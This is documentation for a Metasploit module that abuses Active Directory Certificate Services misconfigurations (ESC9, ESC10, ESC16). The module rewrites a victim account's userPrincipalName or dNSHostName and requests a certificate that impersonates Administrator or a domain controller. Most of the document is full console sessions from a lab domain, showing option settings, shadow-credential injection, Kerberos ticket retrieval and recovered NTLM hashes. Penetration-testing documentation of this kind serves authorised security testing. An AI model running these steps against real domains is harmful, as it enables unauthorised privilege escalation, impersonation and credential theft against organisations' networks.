## Vulnerable Application
This module requests certificates via MS-ICPR (Active Directory Certificate Services) after updating an LDAP object
attribute, typically on behalf of another user. The certificate's usability depends on the configuration of the
certificate template, enabling operations such as authentication. PFX certificate files generated by this module are
encrypted with a blank password.

To perform the LDAP attribute update, the module requires write privileges over the
target user in the domain. For example, it can modify the userPrincipalName (UPN) or dNSHostName of the target user
before requesting the certificate. This module leverages the generic auxiliary/admin/ldap/ldap_object_attribute module
to handle LDAP attribute updates.


This module is capable of exploiting ESC9, ESC10, and ESC16.

### Setup
Follow the instructions [[here|./ad-certificates/overview.md]] to set up an AD CS server that is vulnerable to the scenarios you want to exploit, with the appropriately configured template.
For detailed information on each ESC attack workflow, refer to the [[AD CS Exploitation Scenarios|./ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md]] documentation.

## Options

### LDAPUsername
The username to authenticate to the LDAP server, this must be a user with write access over the `TARGET_USERNAME`.

### LDAPPassword
The password for the `LDAPUsername` account.

### LDAPDomain
The domain of the `LDAPUsername`, e.g., `demo.local`.

### CA
The target certificate authority.

### CERT_TEMPLATE
The certificate template to issue, e.g., "User".

### TARGET_USERNAME
The username of the target account whose LDAP object will be updated and for whom the certificate will be requested.

### TARGET_PASSWORD
The password of the target username. Not required. The module will use Shadow Credentials to authenticate as the target user if this is left blank.

### UPDATE_LDAP_OBJECT
The LDAP attribute to update, such as `userPrincipalName` or `dNSHostName`.

### UPDATE_LDAP_OBJECT_VALUE
The new value to set for the specified LDAP attribute, set this to the user name you wish to impersonate, e.g., `Administrator` if you're updating the `userPrincipalName`.
If you're updating the `dNSHostName`, set this to the desired DNS hostname, e.g., `host.domain.local` (it must be a valid FQDN in this case).

### ALT_UPN
An alternate UPN (User Principal Name) to set for the target user, e.g., `Administrator@domain.local`.

### ALT_SID
An alternate SID (Security Identifier) to set for the target user, e.g., `S-1-5-21-...`.

### ALT_DNS
An alternate DNS hostname to set for the target user, e.g., `host.domain.local`.

## Verification Steps

1. Start msfconsole
1. Do: `use esc_update_ldap_object`
1. Set the `RHOST`, `LDAPUsername`, `LDAPPassword` and `LDAPDomain` options - note these credentials need to have write access over the `TARGET_USERNAME`
1. Set `TARGET_USERNAME` to the user you want to update and then request a certificate for
1. Set the `UPDATE_LDAP_OBJECT` to either `userPrincipalName` or `dNSHostName` depending on the scenario you are exploiting
1. Set the `UPDATE_LDAP_OBJECT_VALUE` to the value you want to set for the `UPDATE_LDAP_OBJECT`, e.g., `Administrator`
1. Set `CA` to the name of the CA you want to request a certificate and `cert_template` to the name of the certificate template you want to use
1. Run the module
1. This should update the LDAP object attribute and request a certificate for the target user, which will be saved as a .pfx file.
1. If the target is vulnerable to the scenario you are exploiting, the pfx file will allow for privilege escalation.

## Scenarios

### ESC9 - Update userPrincipalName to Administrator
```
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set rhosts 172.16.199.200
rhosts => 172.16.199.200
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldaprport 389
ldaprport => 389
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set target_username user2
target_username => user2
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapdomain kerberos.issue
ldapdomain => kerberos.issue
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldappassword N0tpassword!
ldappassword => N0tpassword!
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapusername user1
ldapusername => user1
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set cert_template ESC9-Template
cert_template => SpencerTest
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ca kerberos-DC2-CA
ca => kerberos-DC2-CA
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT_VALUE Administrator
UPDATE_LDAP_OBJECT_VALUE => Administrator
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > run
[*] Running module against 172.16.199.200
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Current value of user2's userPrincipalName: user2
[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to Administrator...
[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to Administrator
[+] The operation completed successfully!
[*] 172.16.199.200:445 - Adding shadow credentials for user2
[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
[*] Certificate stored at: /Users/jheysel/.msf4/loot/20250717140905_default_172.16.199.200_windows.ad.cs_563081.pfx
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 2ff08c15-0ab3-98ad-ee0b-3fd1fbcf3e9d
[*] 172.16.199.200:445 - Loading admin/kerberos/get_ticket
[*] 172.16.199.200:445 - Getting hash for user2
[!] Warning: Provided principal and realm (user2@kerberos.issue) do not match entries in certificate:
[+] 172.16.199.200:88 - Received a valid TGT-Response
[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717140905_default_172.16.199.200_mit.kerberos.cca_263627.bin
[*] 172.16.199.200:88 - Getting NTLM hash for user2@kerberos.issue
[+] 172.16.199.200:88 - Received a valid TGS-Response
[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717140905_default_172.16.199.200_mit.kerberos.cca_015140.bin
[+] Found NTLM hash for user2: aad3b435b51404eeaad3b435b51404ee:4fd408d8f8ecb20d4b0768a0ac44b71f
[+] 172.16.199.200:445 - The requested certificate was issued.
[*] 172.16.199.200:445 - Certificate Policies:
[*] 172.16.199.200:445 -   * 1.3.6.1.5.5.7.3.2 (Client Authentication)
[*] 172.16.199.200:445 - Certificate UPN: Administrator
[*] 172.16.199.200:445 - Certificate stored at: /Users/jheysel/.msf4/loot/20250717140907_default_172.16.199.200_windows.ad.cs_548728.pfx
[*] 172.16.199.200:445 - reverting ldap object
[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
[*] No matching entries found - check device ID
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Current value of user2's userPrincipalName: Administrator
[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to user2...
[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to user2
[+] The operation completed successfully!
[*] Auxiliary module execution completed
```

### ESC9 - Update userPrincipalName when you already have `TARGET_PASSWORD`. See shadow credentials don't get created / used
```
msf auxiliary(admin/dcerpc/esc_update_ldap_object) > options

Module options (auxiliary/admin/dcerpc/esc_update_ldap_object):

   Name                      Current Setting    Required  Description
   ----                      ---------------    --------  -----------
   ADD_CERT_APP_POLICY                          no        Add certificate application policy OIDs
   ALT_DNS                                      no        Alternative certificate DNS
   ALT_SID                                      no        Alternative object SID
   ALT_UPN                                      no        Alternative certificate UPN (format: USER@DOMAIN)
   CA                        kerberos-DC2-CA    yes       The target certificate authority
   CERT_TEMPLATE             User               yes       The certificate template
   LDAPDomain                kerberos.issue     yes       The domain to authenticate to
   LDAPPassword              N0tpassword!       yes       The password to authenticate with
   LDAPUsername              user1              yes       The username to authenticate with, who must have permissions to update the TARGET_USERNAME
   SSL                       false              no        Enable SSL on the LDAP connection
   TARGET_PASSWORD           N0tpassword!       no        The password of the target LDAP object (the victim account). If left blank, Shadow Credentials will be used to authenticaet as the TARGET_USERNAME
   TARGET_USERNAME           user2              yes       The username of the target LDAP object (the victim account).
   UPDATE_LDAP_OBJECT        userPrincipalName  yes       Either userPrincipalName or dNSHostName, Updates the necessary object of a specific user before requesting the cert. (Accepted: userPrincipalName, dNSHostName)
   UPDATE_LDAP_OBJECT_VALUE  Administrator      yes       The account name you wish to impersonate


   Used when making a new connection via RHOSTS:

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  172.16.199.200   no        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT   445              no        The target port (TCP)


Auxiliary action:

   Name          Description
   ----          -----------
   REQUEST_CERT  Request a certificate



View the full module info with the info, or info -d command.

msf auxiliary(admin/dcerpc/esc_update_ldap_object) > run
[*] Running module against 172.16.199.200
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Current value of user2's userPrincipalName:
[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to Administrator...
[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to Administrator
[+] The operation completed successfully!
[+] 172.16.199.200:445 - The requested certificate was issued.
[*] 172.16.199.200:445 - Certificate Policies:
[*] 172.16.199.200:445 - Certificate UPN: Administrator
[*] 172.16.199.200:445 - Certificate stored at: /home/msfuser/.msf4/loot/20250923135918_default_172.16.199.200_windows.ad.cs_341723.pfx
[*] 172.16.199.200:445 - Reverting ldap object
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Attempting to delete attribute userPrincipalName from CN=user2,CN=Users,DC=kerberos,DC=issue...
[+] Successfully deleted attribute userPrincipalName from CN=user2,CN=Users,DC=kerberos,DC=issue
[+] The operation completed successfully!
[*] Auxiliary module execution completed
msf auxiliary(admin/dcerpc/esc_update_ldap_object) >
```

### ESC9 - Update dnsHostName to `dc2.kerberos.issue`
```
 msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set rhosts 172.16.199.200
rhosts => 172.16.199.200
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldaprport 389
ldaprport => 389
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set target_username "Test2$"
target_username => Test2$
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT_VALUE dc2.kerberos.issue
UPDATE_LDAP_OBJECT_VALUE => dc2.kerberos.issue
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT dnsHostName
UPDATE_LDAP_OBJECT => dNSHostName
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set CA kerberos-DC2-CA
CA => kerberos-DC2-CA
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set CERT_TEMPLATE ESC9-Template-Dns
CERT_TEMPLATE => ESC9-Template-Dns
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapdomain kerberos.issue
ldapdomain => kerberos.issue
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldappassword N0tpassword!
ldappassword => N0tpassword!
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapusername Test1$
ldapusername => Test1$
msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > run
[*] Running module against 172.16.199.200
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Current value of Test2$'s dNSHostName:
[*] Attempting to update dNSHostName for CN=Test2,CN=Computers,DC=kerberos,DC=issue to dc2.kerberos.issue...
[+] Successfully updated CN=Test2,CN=Computers,DC=kerberos,DC=issue's dNSHostName to dc2.kerberos.issue
[+] The operation completed successfully!
[*] 172.16.199.200:445 - Adding shadow credentials for Test2$
[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
[*] Certificate stored at: /Users/jheysel/.msf4/loot/20250730093954_default_172.16.199.200_windows.ad.cs_384135.pfx
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 44760c6e-8637-598a-ad8e-04aa4b99ee58
[*] 172.16.199.200:445 - Loading admin/kerberos/get_ticket
[*] 172.16.199.200:445 - Getting hash for Test2$
[!] Warning: Provided principal and realm (Test2$@kerberos.issue) do not match entries in certificate:
[+] 172.16.199.200:88 - Received a valid TGT-Response
[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250730093954_default_172.16.199.200_mit.kerberos.cca_631833.bin
[*] 172.16.199.200:88 - Getting NTLM hash for Test2$@kerberos.issue
[+] 172.16.199.200:88 - Received a valid TGS-Response
[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250730093954_default_172.16.199.200_mit.kerberos.cca_923562.bin
[+] Found NTLM hash for Test2$: aad3b435b51404eeaad3b435b51404ee:4fd408d8f8ecb20d4b0768a0ac44b71f
[+] 172.16.199.200:445 - The requested certificate was issued.
[*] 172.16.199.200:445 - Certificate Policies:
[*] 172.16.199.200:445 -   * 1.3.6.1.5.5.7.3.2 (Client Authentication)
[*] 172.16.199.200:445 - Certificate DNS: dc2.kerberos.issue
[*] 172.16.199.200:445 - Certificate stored at: /Users/jheysel/.msf4/loot/20250730093956_default_172.16.199.200_windows.ad.cs_337994.pfx
[*] 172.16.199.200:445 - Removing shadow credential
[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
[+] Deleted entry with device ID 44760c6e-8637-598a-ad8e-04aa4b99ee58
[*] 172.16.199.200:445 - Reverting ldap object
[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Attempting to delete attribute dNSHostName from CN=Test2,CN=Computers,DC=kerberos,DC=issue...
[+] Successfully deleted attribute dNSHostName from CN=Test2,CN=Computers,DC=kerberos,DC=issue
[+] The operation completed successfully!
[*] Auxiliary module execution completed
```

For more exploit scenarios that this module can exploit, refer to the [[Attacking-AD-CS-ESC-Vulnerabilities|./ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md]] documentation.
